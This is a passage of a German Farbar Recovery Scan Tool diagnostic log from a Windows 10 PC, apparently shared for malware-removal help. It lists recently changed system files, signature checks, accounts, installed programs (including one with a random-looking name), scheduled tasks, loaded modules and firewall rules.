2017-06-06 21:04 - 2017-03-18 13:40 - 00000000 ____D C:\windows\system32\Dism
2017-06-06 21:04 - 2017-03-18 13:40 - 00000000 ____D C:\windows\servicing
2017-06-04 16:53 - 2017-04-11 08:10 - 00000000 ____D C:\ProgramData\Package Cache
2017-06-03 20:27 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\en-GB
2017-06-03 20:27 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\en-GB
2017-06-03 00:08 - 2017-03-18 23:03 - 00000000 ___HD C:\windows\system32\GroupPolicy
2017-06-03 00:08 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\GroupPolicy
2017-06-02 16:41 - 2017-04-11 08:03 - 00388560 _____ C:\windows\system32\FNTCACHE.DAT
2017-06-01 22:06 - 2017-03-18 23:01 - 00000000 ____D C:\windows\INF
2017-05-31 15:11 - 2017-03-18 22:56 - 00465408 _____ (Microsoft Corporation) C:\windows\system32\dpnet.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00389632 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpnet.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00217600 _____ (Microsoft Corporation) C:\windows\SysWOW64\dplayx.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00067584 _____ (Microsoft Corporation) C:\windows\system32\dpnathlp.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00061440 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpnathlp.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00046592 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpwsockx.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00027136 _____ (Microsoft Corporation) C:\windows\system32\dpnsvr.exe
2017-05-31 15:11 - 2017-03-18 22:56 - 00024576 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpmodemx.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00022528 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpnsvr.exe
2017-05-31 15:11 - 2017-03-18 22:56 - 00020480 _____ (Microsoft Corporation) C:\windows\SysWOW64\dplaysvr.exe
2017-05-31 15:11 - 2017-03-18 22:56 - 00010240 _____ (Microsoft Corporation) C:\windows\system32\dpnhupnp.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00010240 _____ (Microsoft Corporation) C:\windows\system32\dpnhpast.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpnhupnp.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00008704 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpnhpast.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00006144 _____ (Microsoft Corporation) C:\windows\system32\dpnlobby.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00006144 _____ (Microsoft Corporation) C:\windows\system32\dpnaddr.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00005120 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpnlobby.dll
2017-05-31 15:11 - 2017-03-18 22:56 - 00005120 _____ (Microsoft Corporation) C:\windows\SysWOW64\dpnaddr.dll
2017-05-31 15:09 - 2017-03-18 23:03 - 00000000 ____D C:\windows\LiveKernelReports
2017-05-31 13:35 - 2017-04-11 08:17 - 00565416 _____ (Microsoft Corporation) C:\windows\system32\MpSigStub.exe
2017-05-30 22:02 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files\Common Files\microsoft shared
2017-05-30 13:21 - 2017-04-11 08:07 - 00000000 __RHD C:\Users\Public\AccountPictures
2017-05-30 12:36 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\appraiser
2017-05-30 12:36 - 2017-03-18 23:03 - 00000000 ____D C:\windows\ShellExperiences
2017-05-30 09:52 - 2017-03-18 23:03 - 00000167 _____ C:\windows\win.ini
2017-05-30 09:34 - 2017-03-18 23:03 - 00000000 ____D C:\windows\Provisioning
2017-05-30 08:02 - 2017-04-11 08:16 - 132223576 ____C (Microsoft Corporation) C:\windows\system32\MRT.exe
2017-05-30 08:02 - 2017-04-11 08:16 - 00000000 ____D C:\windows\system32\MRT
2017-05-30 07:56 - 2017-03-18 23:03 - 00000000 ____D C:\windows\appcompat
2017-05-29 16:19 - 2017-04-11 08:10 - 00002766 _____ C:\windows\System32\Tasks\OneDrive Standalone Update Task v2
2017-05-18 04:34 - 2017-02-08 10:00 - 00045061 _____ C:\windows\system32\nvinfo.pb
2017-05-13 07:06 - 2017-03-18 23:03 - 00028672 _____ C:\windows\system32\config\BCD-Template
2017-05-12 15:22 - 2017-04-11 08:32 - 00000051 _____ C:\windows\smsts.ini
2017-05-12 15:22 - 2017-04-11 08:32 - 00000000 _____ C:\windows\authtest.txt
2017-05-12 15:22 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\WinBioDatabase
2017-05-12 15:10 - 2017-03-18 23:03 - 00000000 ____D C:\ProgramData\regid.1991-06.com.microsoft

==================== Bamital & volsnap ======================

(Es ist kein automatischer Fix für Dateien vorhanden, die an der Verifikation gescheitert sind.)

C:\windows\system32\winlogon.exe => Datei ist digital signiert
C:\windows\system32\wininit.exe => Datei ist digital signiert
C:\windows\explorer.exe => Datei ist digital signiert
C:\windows\SysWOW64\explorer.exe => Datei ist digital signiert
C:\windows\system32\svchost.exe => Datei ist digital signiert
C:\windows\SysWOW64\svchost.exe => Datei ist digital signiert
C:\windows\system32\services.exe => Datei ist digital signiert
C:\windows\system32\User32.dll => Datei ist digital signiert
C:\windows\SysWOW64\User32.dll => Datei ist digital signiert
C:\windows\system32\userinit.exe => Datei ist digital signiert
C:\windows\SysWOW64\userinit.exe => Datei ist digital signiert
C:\windows\system32\rpcss.dll => Datei ist digital signiert
C:\windows\system32\dnsapi.dll => Datei ist digital signiert
C:\windows\SysWOW64\dnsapi.dll => Datei ist digital signiert
C:\windows\system32\Drivers\volsnap.sys => Datei ist digital signiert

LastRegBack: 2017-04-11 08:03

==================== Ende von FRST.txt ============================
Addition:
Code:
Zusätzliches Untersuchungsergebnis von Farbar Recovery Scan Tool (x64) Version: 07-06-2017 01
durchgeführt von **** (08-06-2017 14:28:56)
Gestartet von C:\Users\****\Desktop
Windows 10 Home Version 1703 (X64) (2017-05-29 14:19:37)
Start-Modus: Normal
==========================================================


==================== Konten: =============================

Administrator (S-1-5-21-743485210-3963512150-464095969-500 - Administrator - Disabled)
DefaultAccount (S-1-5-21-743485210-3963512150-464095969-503 - Limited - Disabled)
Gast (S-1-5-21-743485210-3963512150-464095969-501 - Limited - Disabled)
**** (S-1-5-21-743485210-3963512150-464095969-1003 - Administrator - Enabled) => C:\Users\****

==================== Sicherheits-Center ========================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.)

AV: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
AV: Malwarebytes (Enabled - Up to date) {23007AD3-69FE-687C-2629-D584AFFAF72B}
AS: Malwarebytes (Enabled - Up to date) {98619B37-4FC4-67F2-1C99-EEF6D47DBD96}
AS: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}

==================== Installierte Programme ======================

(Nur Adware-Programme mit dem Zusatz "Hidden" können in die Fixlist aufgenommen werden, um sie sichtbar zu machen. Die Adware-Programme sollten manuell deinstalliert werden.)

2007 Microsoft Office Suite Service Pack 3 (SP3) (HKLM-x32\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{6E107EB7-8B55-48BF-ACCB-199F86A2CD93}) (Version:  - Microsoft)
2007 Microsoft Office Suite Service Pack 3 (SP3) (x32 Version:  - Microsoft) Hidden
Airplane Mode Hid Installer (HKLM-x32\...\{5E5B067F-52A4-447E-A3F1-D6DD10565E73}) (Version: 5.0.0.2 - )
Anno 1404 (HKLM\...\Steam App 33250) (Version:  - Blue Byte)
Ansel (Version: 382.05 - NVIDIA Corporation) Hidden
Classic Shell (HKLM\...\{383BB30A-B4A7-4666-9A83-22CFA8640097}) (Version: 4.3.0 - IvoSoft)
Control Center 5.0001.1.17 (HKLM-x32\...\{2F385B5D-5F23-4513-B3CE-9F5E4F4B882A}) (Version: 5.0001.1.17 - )
Counter-Strike: Global Offensive (HKLM\...\Steam App 730) (Version:  - Valve)
EgisTec Fingerprint Driver (HKLM-x32\...\InstallShield_{E8C889B8-0A8B-46BA-B433-F7D6968A6543}) (Version: 3.5.1.0 - Egis Technology Inc.)
Europa Universalis IV (HKLM\...\Steam App 236850) (Version:  - Paradox Development Studio)
Fingerprint Driver (x32 Version: 3.5.1.0 - Egis Technology Inc.) Hidden
Garry's Mod (HKLM\...\Steam App 4000) (Version:  - Facepunch Studios)
Grand Theft Auto: San Andreas (HKLM\...\Steam App 12120) (Version:  - Rockstar Games)
Infestation: The New Z (HKLM\...\Steam App 555570) (Version:  - Fredaikis AB)
Insyde Airplane Mode HID Mini-Driver (HKLM\...\AirplaneModeHid) (Version: 1.4.0.3 - Insyde Corporation)
Intel(R) Management Engine Components (HKLM\...\{1CEAC85D-2590-4760-800F-8DE5E91F3700}) (Version: 11.6.0.1039 - Intel Corporation)
Intel(R) Online Connect Software Asset Manager (x32 Version: 3.4.2095 - Intel Corporation) Hidden
Intel(R) Processor Graphics (HKLM-x32\...\{F0E3AD40-2BBD-4360-9C76-B9AC9A5886EA}) (Version: 21.20.16.4550 - Intel Corporation)
Intel(R) Rapid Storage Technology (HKLM\...\{409CB30E-E457-4008-9B1A-ED1B9EA21140}) (Version: 15.2.0.1020 - Intel Corporation)
Malwarebytes Version 3.1.2.1733 (HKLM\...\{35065F43-4BB2-439A-BFF7-0F1014F2E0CD}_is1) (Version: 3.1.2.1733 - Malwarebytes)
Men of War: Assault Squad (HKLM\...\Steam App 64000) (Version:  - Digitalmindsoft)
Men of War: Assault Squad 2 (HKLM\...\Steam App 244450) (Version:  - Digitalmindsoft)
Microsoft Office Enterprise 2007 (HKLM-x32\...\ENTERPRISE) (Version: 12.0.6612.1000 - Microsoft Corporation)
Microsoft Office File Validation Add-In (HKLM-x32\...\{90140000-2005-0000-0000-0000000FF1CE}) (Version: 14.0.5130.5003 - Microsoft Corporation)
Microsoft Office Live Add-in 1.5 (HKLM-x32\...\{F40BBEC7-C2A4-4A00-9B24-7A055A2C5262}) (Version: 2.0.4024.1 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 (HKLM\...\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}) (Version: 9.0.30729.6161 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (HKLM-x32\...\{9BE518E6-ECC6-35A9-88E4-87755C07200F}) (Version: 9.0.30729.6161 - Microsoft Corporation)
Microsoft Visual C++ 2010  x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2010  x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (HKLM-x32\...\{050d4fc8-5d48-4b8f-8972-47c82c46020f}) (Version: 12.0.30501.0 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (HKLM-x32\...\{f65db027-aff3-4070-886a-0d87064aabb1}) (Version: 12.0.30501.0 - Microsoft Corporation)
Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.24215 (HKLM-x32\...\{d992c12e-cab2-426f-bde3-fb8c53950b0d}) (Version: 14.0.24215.1 - Microsoft Corporation)
Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.24215 (HKLM-x32\...\{e2803110-78b3-4664-a479-3611a381656a}) (Version: 14.0.24215.1 - Microsoft Corporation)
Mount & Blade: Warband (HKLM\...\Steam App 48700) (Version:  - TaleWorlds Entertainment)
Mozilla Firefox 53.0.3 (x86 de) (HKLM-x32\...\Mozilla Firefox 53.0.3 (x86 de)) (Version: 53.0.3 - Mozilla)
Mozilla Maintenance Service (HKLM\...\MozillaMaintenanceService) (Version: 53.0.3 - Mozilla)
North and South First Manassas (HKLM-x32\...\{2C8737F2-E5C2-4A78-A4F8-1CFB00C9E289}_is1) (Version: 1.0.0 - Hinkel, Parrot, Wuestenkrieger, Nytech)
NVIDIA 3D Vision Treiber 382.05 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.3DVision) (Version: 382.05 - NVIDIA Corporation)
NVIDIA GeForce Experience 3.6.0.74 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.GFExperience) (Version: 3.6.0.74 - NVIDIA Corporation)
NVIDIA Grafiktreiber 382.05 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.Driver) (Version: 382.05 - NVIDIA Corporation)
NVIDIA HD-Audiotreiber 1.3.34.17 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_HDAudio.Driver) (Version: 1.3.34.17 - NVIDIA Corporation)
NVIDIA PhysX (HKLM-x32\...\{8B922CF8-8A6C-41CE-A858-F1755D7F5D29}) (Version: 9.12.1031 - NVIDIA Corporation)
NvNodejs (Version: 3.6.0.74 - NVIDIA Corporation) Hidden
NvTelemetry (Version: 2.4.10.0 - NVIDIA Corporation) Hidden
NvvHci (Version: 2.02.0.5 - NVIDIA Corporation) Hidden
Overwolf (HKLM-x32\...\Overwolf) (Version: 0.104.210.0 - Overwolf Ltd.)
PAYDAY 2 (HKLM\...\Steam App 218620) (Version:  - OVERKILL - a Starbreeze Studio.)
Realtek Card Reader (HKLM-x32\...\{5BC2B5AB-80DE-4E83-B8CF-426902051D0A}) (Version: 10.0.14393.21292 - Realtek Semiconductor Corp.)
Realtek Ethernet Controller Driver (HKLM-x32\...\{8833FFB6-5B0C-4764-81AA-06DFEED9A476}) (Version: 10.10.714.2016 - Realtek)
Realtek High Definition Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.1.8029 - Realtek Semiconductor Corp.)
Rocket League (HKLM\...\Steam App 252950) (Version:  - Psyonix, Inc.)
SHIELD Streaming (Version: 7.1.0370 - NVIDIA Corporation) Hidden
SHIELD Wireless Controller Driver (Version: 3.6.0.74 - NVIDIA Corporation) Hidden
Sound Blaster Cinema 3 (HKLM-x32\...\{883EEEA5-1C5A-42BD-96C3-796F2ACB9120}) (Version: 1.00.14 - Creative Technology Limited)
Steam (HKLM-x32\...\Steam) (Version: 2.10.91.91 - Valve Corporation)
Stellaris (HKLM\...\Steam App 281990) (Version:  - Paradox Development Studio)
Synaptics Pointing Device Driver (HKLM\...\SynTPDeinstKey) (Version: 19.3.4.58 - Synaptics Incorporated)
Tabletop Simulator (HKLM\...\Steam App 286160) (Version:  - Berserk Games)
TeamSpeak 3 Client (HKLM\...\TeamSpeak 3 Client) (Version: 3.1.4 - TeamSpeak Systems GmbH)
TeamViewer 12 (HKLM-x32\...\TeamViewer) (Version: 12.0.78313 - TeamViewer)
The Elder Scrolls V: Skyrim (HKLM\...\Steam App 72850) (Version:  - Bethesda Game Studios)
The Guild II: Renaissance (HKLM\...\Steam App 39680) (Version:  - Rune Forge)
Total Commander 64-bit (Remove or Repair) (HKLM-x32\...\Totalcmd64) (Version: 9.0 - Ghisler Software GmbH)
Update for 2007 Microsoft Office System (KB967642) (HKLM-x32\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{C444285D-5E4F-48A4-91DD-47AAAA68E92D}) (Version:  - Microsoft)
Update für Microsoft Office Excel 2007 Help (KB963678) (HKLM-x32\...\{90120000-0016-0407-0000-0000000FF1CE}_ENTERPRISE_{BEC163EC-7A83-48A1-BFB6-3BF47CC2F8CF}) (Version:  - Microsoft)
Update für Microsoft Office Outlook 2007 Help (KB963677) (HKLM-x32\...\{90120000-001A-0407-0000-0000000FF1CE}_ENTERPRISE_{F6828576-6F79-470D-AB50-69D1BBADBD30}) (Version:  - Microsoft)
Update für Microsoft Office Powerpoint 2007 Help (KB963669) (HKLM-x32\...\{90120000-0018-0407-0000-0000000FF1CE}_ENTERPRISE_{EA160DA3-E9B5-4D03-A518-21D306665B96}) (Version:  - Microsoft)
Update für Microsoft Office Word 2007 Help (KB963665) (HKLM-x32\...\{90120000-001B-0407-0000-0000000FF1CE}_ENTERPRISE_{38472199-D7B6-4833-A949-10E4EE6365A1}) (Version:  - Microsoft)
Vulkan Run Time Libraries 1.0.42.1 (HKLM\...\VulkanRT1.0.42.1) (Version: 1.0.42.1 - LunarG, Inc.)
WHV4aVqDz8Bs1NavW version 1.0 (HKLM-x32\...\{1fd06d23-1810-464b-b9c5-b92c28776962}_is1) (Version: 1.0 - )
WinRAR 5.40 (64-Bit) (HKLM\...\WinRAR archiver) (Version: 5.40.0 - win.rar GmbH)

==================== Benutzerdefinierte CLSID (Nicht auf der Ausnahmeliste): ==========================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

CustomCLSID: HKU\S-1-5-21-743485210-3963512150-464095969-1003_Classes\CLSID\{1BF42E4C-4AF4-4CFD-A1A0-CF2960B8F63E}\InprocServer32 -> C:\Users\****\AppData\Local\Microsoft\OneDrive\17.3.6816.0313\amd64\FileSyncShell64.dll => Keine Datei
CustomCLSID: HKU\S-1-5-21-743485210-3963512150-464095969-1003_Classes\CLSID\{7AFDFDDB-F914-11E4-8377-6C3BE50D980C}\InprocServer32 -> C:\Users\****\AppData\Local\Microsoft\OneDrive\17.3.6816.0313\amd64\FileSyncShell64.dll => Keine Datei
CustomCLSID: HKU\S-1-5-21-743485210-3963512150-464095969-1003_Classes\CLSID\{82CA8DE3-01AD-4CEA-9D75-BE4C51810A9E}\InprocServer32 -> C:\Users\****\AppData\Local\Microsoft\OneDrive\17.3.6816.0313\amd64\FileSyncShell64.dll => Keine Datei

==================== Geplante Aufgaben (Nicht auf der Ausnahmeliste) =============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

Task: {0C4D4B81-F450-4B0B-8C72-E729304B408F} - System32\Tasks\Overwolf Updater Task => C:\Program Files (x86)\Overwolf\OverwolfUpdater.exe [2017-05-14] (Overwolf LTD)
Task: {0F554480-7D29-423E-A816-01813EC1A22E} - System32\Tasks\IUM-F1E24CA0-B63E-4F13-A9E3-4ADE3BFF3473 => C:\Program Files (x86)\Intel\Intel(R) Update Manager\bin\iumsvc.exe
Task: {2FE85189-217B-485E-92C6-5492C0B47F50} - System32\Tasks\NVIDIA GeForce Experience SelfUpdate_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\NVIDIA GeForce Experience\NVIDIA GeForce Experience.exe [2017-05-03] (NVIDIA Corporation)
Task: {3643BE30-1B19-4C8B-B477-934A71E7FBD5} - System32\Tasks\NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [2017-05-03] (NVIDIA Corporation)
Task: {42CCB202-504C-4449-8CA7-BDFA2F30CA79} - System32\Tasks\IntelIOC-Upgrade-f1c8187b-2653-47cd-a9be-b554b98f68a7 => C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\IntelSoftwareAssetManagerService.exe [2016-10-14] (Intel Corporation)
Task: {4BED09D5-6922-4AB0-A5F7-02573B1A17CD} - System32\Tasks\NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvTmRep.exe [2017-05-03] (NVIDIA Corporation)
Task: {532C17B9-861A-40D4-AB56-24DDCD9FFD0D} - System32\Tasks\OneDrive Standalone Update Task v2 => C:\Users\****\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe
Task: {580ECAAB-83D0-4420-BC5F-378E24B7755B} - System32\Tasks\NvProfileUpdaterOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\Update Core\NvProfileUpdater64.exe [2017-05-03] (NVIDIA Corporation)
Task: {8BC35C08-BEAE-4DCA-8814-715C10631294} - System32\Tasks\NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\Update Core\NvProfileUpdater64.exe [2017-05-03] (NVIDIA Corporation)
Task: {946B1704-9D1A-4004-99EB-86EE822427D4} - System32\Tasks\Intel PTT EK Recertification => C:\Program Files\Intel\iCLS Client\IntelPTTEKRecertification.exe [2016-10-13] (Intel(R) Corporation)
Task: {A0B8C401-754F-45ED-AB54-A4196A516902} - System32\Tasks\NvTmRepOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvTmRep.exe [2017-05-03] (NVIDIA Corporation)
Task: {CE717A1A-E0B7-4A62-A58D-3CF8778369F4} - System32\Tasks\IntelIOC-Upgrade-f1c8187b-2653-47cd-a9be-b554b98f68a7-Logon => C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\IntelSoftwareAssetManagerService.exe [2016-10-14] (Intel Corporation)
Task: {D2CAA64B-EFEE-4B71-B535-3D39B9088D9F} - System32\Tasks\NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvTmMon.exe [2017-05-03] (NVIDIA Corporation)
Task: {E4CCFFA0-D020-4654-BB23-EB12886EDAE6} - System32\Tasks\NvNodeLauncher_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\NvNode\nvnodejslauncher.exe [2017-05-03] (NVIDIA Corporation)

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Aufgabe verschoben. Die Datei, die durch die Aufgabe gestartet wird, wird nicht verschoben.)


==================== Verknüpfungen =============================

(Die Einträge können gelistet werden, um sie zurückzusetzen oder zu entfernen.)

==================== Geladene Module (Nicht auf der Ausnahmeliste) ==============

2017-05-12 15:18 - 2017-05-03 22:21 - 01267320 _____ () C:\Program Files\NVIDIA Corporation\NvContainer\libprotobuf.dll
2016-10-17 20:00 - 2016-10-17 20:00 - 00107752 _____ () C:\Program Files\Intel\Intel(R) Online Connect Access\libglog.dll
2016-10-17 20:00 - 2016-10-17 20:00 - 00412904 _____ () C:\Program Files\Intel\Intel(R) Online Connect Access\JsonCpp.dll
2017-06-03 00:20 - 2017-05-31 11:09 - 02270664 _____ () C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\MwacLib.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00138000 _____ () C:\windows\SYSTEM32\inputhost.dll
2016-11-01 17:18 - 2016-11-01 17:18 - 00253664 _____ () C:\Program Files\Intel\Intel(R) Online Connect\CSLibWrapper.dll
2017-03-18 22:59 - 2017-03-20 06:36 - 01731072 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\Cortana.Core.dll
2017-04-12 12:46 - 2017-04-12 12:46 - 00176408 _____ () C:\Program Files\TeamSpeak 3 Client\quazip.dll
2017-03-13 18:37 - 2017-03-13 18:37 - 00020248 _____ () C:\Program Files\TeamSpeak 3 Client\libEGL.DLL
2017-03-13 18:37 - 2017-03-13 18:37 - 01975064 _____ () C:\Program Files\TeamSpeak 3 Client\libGLESv2.dll
2017-04-12 12:46 - 2017-04-12 12:46 - 00107288 _____ () C:\Program Files\TeamSpeak 3 Client\soundbackends\directsound_win64.dll
2017-04-12 12:46 - 2017-04-12 12:46 - 00128280 _____ () C:\Program Files\TeamSpeak 3 Client\soundbackends\windowsaudiosession_win64.dll
2017-05-30 20:44 - 2017-05-30 20:44 - 00345880 _____ () C:\Users\****\AppData\Roaming\TS3Client\plugins\clientquery_plugin_win64.dll
2017-05-30 20:44 - 2017-05-30 20:44 - 00152064 _____ () C:\Users\****\AppData\Roaming\TS3Client\plugins\gamepad_joystick_win64.dll
2017-05-12 15:21 - 2016-03-15 13:55 - 00089600 _____ () C:\windows\SYSTEM32\CmdRtr64.DLL
2017-05-12 15:21 - 2016-03-15 13:54 - 00359424 _____ () C:\windows\SYSTEM32\APOMgr64.DLL
2017-06-01 22:05 - 2017-05-03 22:20 - 00034424 _____ () C:\Program Files\NVIDIA Corporation\nvstreamsrv\boost_system-vc120-mt-1_58.dll
2017-06-01 22:05 - 2017-05-03 22:20 - 00920184 _____ () C:\Program Files\NVIDIA Corporation\nvstreamsrv\boost_regex-vc120-mt-1_58.dll
2017-05-12 15:18 - 2017-05-03 22:21 - 01040504 _____ () C:\Program Files (x86)\NVIDIA Corporation\NvContainer\libprotobuf.dll
2017-05-14 12:53 - 2017-05-14 12:53 - 68886856 _____ () C:\Program Files (x86)\Overwolf\0.104.210.0\libcef.DLL
2017-05-12 15:18 - 2017-05-03 22:20 - 65709176 _____ () C:\Program Files (x86)\NVIDIA Corporation\NVIDIA GeForce Experience\libcef.dll
2017-06-02 16:10 - 2017-05-17 03:54 - 00678176 _____ () D:\Steam\SDL2.dll
2017-06-08 14:25 - 2017-06-08 07:42 - 02485536 _____ () D:\Steam\video.dll
2017-05-30 21:25 - 2016-01-27 09:49 - 00491008 _____ () D:\Steam\libavformat-56.dll
2017-05-30 21:25 - 2016-01-27 09:49 - 00332800 _____ () D:\Steam\libavresample-2.dll
2017-05-30 21:25 - 2016-01-27 09:49 - 00442880 _____ () D:\Steam\libavutil-54.dll
2017-05-30 21:25 - 2016-01-27 09:49 - 00485888 _____ () D:\Steam\libswscale-3.dll
2017-05-30 21:25 - 2016-09-01 03:02 - 04969248 _____ () D:\Steam\v8.dll
2017-05-30 21:25 - 2016-01-27 09:49 - 02549760 _____ () D:\Steam\libavcodec-56.dll
2017-05-30 21:25 - 2016-09-01 03:02 - 01195296 _____ () D:\Steam\icuuc.dll
2017-05-30 21:25 - 2016-09-01 03:02 - 01563936 _____ () D:\Steam\icui18n.dll
2017-06-08 14:25 - 2017-06-08 07:42 - 00877856 _____ () D:\Steam\bin\chromehtml.DLL
2017-05-30 21:25 - 2016-07-05 00:17 - 00266560 _____ () D:\Steam\openvr_api.dll
2017-06-08 14:25 - 2017-05-17 03:54 - 00678176 _____ () D:\Steam\bin\cef\cef.win7\SDL2.dll
2017-06-02 16:10 - 2017-05-08 21:45 - 69516064 _____ () D:\Steam\bin\cef\cef.win7\libcef.dll
2017-06-08 14:25 - 2017-06-08 07:42 - 00385312 _____ () D:\Steam\steam.dll
2016-11-08 19:40 - 2016-11-08 19:40 - 01243936 _____ () C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\ACE.dll

==================== Alternate Data Streams (Nicht auf der Ausnahmeliste) =========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird nur der ADS entfernt.)


==================== Abgesicherter Modus (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Der Wert "AlternateShell" wird wiederhergestellt.)

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\MBAMService => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\MBAMService => ""="Service"

==================== Verknüpfungen (Nicht auf der Ausnahmeliste) ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt.)


==================== Internet Explorer Vertrauenswürdig/Eingeschränkt ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt.)


==================== Hosts Inhalt: ===============================

(Wenn benötigt kann der Hosts: Schalter in die Fixlist aufgenommen werden um die Hosts Datei zurückzusetzen.)

2017-03-18 23:03 - 2017-06-03 15:44 - 00000027 _____ C:\windows\system32\Drivers\etc\hosts

127.0.0.1      localhost

==================== Andere Bereiche ============================

(Aktuell gibt es keinen automatisierten Fix für diesen Bereich.)

HKU\S-1-5-21-743485210-3963512150-464095969-1003\Control Panel\Desktop\\Wallpaper -> c:\windows\web\wallpaper\windows\img0.jpg
DNS Servers: 8.8.8.8
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 5) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1)
Windows Firewall ist aktiviert.

==================== MSCONFIG/TASK MANAGER Deaktivierte Einträge ==


==================== Firewall Regeln (Nicht auf der Ausnahmeliste) ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

FirewallRules: [{21F95021-2FE4-4322-B40D-87BF0028281B}] => (Allow) D:\Steam\Steam.exe
FirewallRules: [{FC215E32-309D-4C21-AEBB-673A82A26FED}] => (Allow) D:\Steam\Steam.exe
FirewallRules: [{53F48740-2016-4BFF-BAB8-D22B9EE2BF9D}] => (Allow) D:\Steam\bin\cef\cef.win7\steamwebhelper.exe
FirewallRules: [{A1547F5A-B681-4FE3-9C40-1B00A6AC62ED}] => (Allow) D:\Steam\bin\cef\cef.win7\steamwebhelper.exe
FirewallRules: [{C959CF86-4D29-4667-B335-D159BAD71C47}] => (Allow) D:\Steam\steamapps\common\PAYDAY 2\payday2_win32_release.exe
